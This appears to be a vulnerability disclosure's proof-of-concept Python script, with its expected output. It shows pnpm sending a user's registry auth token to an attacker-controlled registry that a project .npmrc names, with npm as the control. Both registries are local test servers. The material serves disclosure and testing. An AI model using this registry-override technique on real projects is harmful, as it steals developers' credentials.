Details
path.write_text(text, encoding="utf-8", newline="\n")
def run_install(tool, trusted_url, attacker_url):
exe = shutil.which(tool)
if exe is None:
return {"tool": tool, "error": "missing"}
cmd = [exe, "install", "--ignore-scripts"]
if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
corepack = shutil.which("corepack")
if corepack is None:
return {"tool": tool, "error": "corepack missing"}
cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "install", "--ignore-scripts"]
with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td:
root = Path(td)
home = root / "home"
project = root / "project"
home.mkdir()
project.mkdir()
userconfig = home / ".npmrc"
write_text(userconfig, f"registry={trusted_url}\n_authToken={TOKEN}\n")
write_text(project / ".npmrc", f"registry={attacker_url}\n")
write_text(
project / "package.json",
'{"name":"pr166-probe","version":"1.0.0","dependencies":{"@private/probe":"1.0.0"}}\n',
)
env = os.environ.copy()
env.update(
{
"HOME": str(home),
"USERPROFILE": str(home),
"NPM_CONFIG_USERCONFIG": str(userconfig),
"npm_config_userconfig": str(userconfig),
"NPM_CONFIG_CACHE": str(home / "cache"),
"npm_config_cache": str(home / "cache"),
"NPM_CONFIG_STORE_DIR": str(home / "store"),
"npm_config_store_dir": str(home / "store"),
"XDG_CACHE_HOME": str(home / "xdg-cache"),
"XDG_DATA_HOME": str(home / "xdg-data"),
"NO_COLOR": "1",
}
)
proc = subprocess.run(
cmd,
cwd=str(project),
env=env,
text=True,
encoding="utf-8",
errors="replace",
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=60,
)
return {"tool": tool, "returncode": proc.returncode, "output_tail": proc.stdout[-2000:]}
def summarize(tool, result, attacker_requests):
auth_hits = [r for r in attacker_requests if r.get("authorization")]
return {
"tool": tool,
"result": result,
"attacker_auth_hits": auth_hits,
"attacker_request_count": len(attacker_requests),
}
def tool_version(tool):
exe = shutil.which(tool)
if exe is None:
return "missing"
cmd = [exe, "--version"]
if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
corepack = shutil.which("corepack")
if corepack is None:
return "corepack missing"
cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "--version"]
proc = subprocess.run(
cmd,
text=True,
encoding="utf-8",
errors="replace",
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=20,
)
return proc.stdout.strip() or f"exit-{proc.returncode}"
def main():
pnpm_version = tool_version("pnpm")
npm_version = tool_version("npm")
print(f"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}")
if pnpm_version == "missing" or npm_version == "missing":
print("CHECK environment_has_pnpm_and_npm result=fail")
return 1
print("ENVIRONMENT_READY")
overall = []
with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests):
trusted_url = f"http://127.0.0.1:{trusted.server_port}/private/"
attacker_url = f"http://127.0.0.1:{attacker.server_port}/private/"
before = len(attacker_requests)
pnpm_result = run_install("pnpm", trusted_url, attacker_url)
pnpm_summary = summarize("pnpm", pnpm_result, attacker_requests[before:])
overall.append(pnpm_summary)
before = len(attacker_requests)
npm_result = run_install("npm", trusted_url, attacker_url)
npm_summary = summarize("npm", npm_result, attacker_requests[before:])
overall.append(npm_summary)
print(json.dumps(overall, indent=2))
pnpm_leaked = bool(overall[0]["attacker_auth_hits"])
npm_leaked = bool(overall[1]["attacker_auth_hits"])
print(f"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}")
print(f"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}")
print(
"COMMAND_EXIT_CODE="
f"pnpm:{overall[0]['result'].get('returncode', 'missing')} "
f"npm:{overall[1]['result'].get('returncode', 'missing')}"
)
if pnpm_leaked and not npm_leaked:
print("CHECK pnpm_leaked=true npm_control_held=true result=pass")
print("VULNERABLE_BEHAVIOR_CONFIRMED")
print("RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD")
print("RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED")
return 0
if pnpm_leaked and npm_leaked:
print("CHECK pnpm_leaked=true npm_control_held=false result=fail")
print("RESULT_BOTH_TOOLS_SENT_AUTH")
return 2
print("CHECK pnpm_leaked=false result=fail")
print("RESULT_NO_PNPM_AUTH_LEAK")
return 1
if __name__ == "__main__":
sys.exit(main())
## Abbreviated Expected Output
```text
TARGET_VERSION=pnpm 11.2.1; npm 10.9.7
ENVIRONMENT_READY
...
OBSERVED_PNPM_AUTH_HITS=3
OBSERVED_NPM_AUTH_HITS=0
COMMAND_EXIT_CODE=pnpm:0 npm:1
CHECK pnpm_leaked=true npm_control_held=true result=pass
VULNERABLE_BEHAVIOR_CONFIRMED
RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD
RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED
Reporter: JUNYI LIU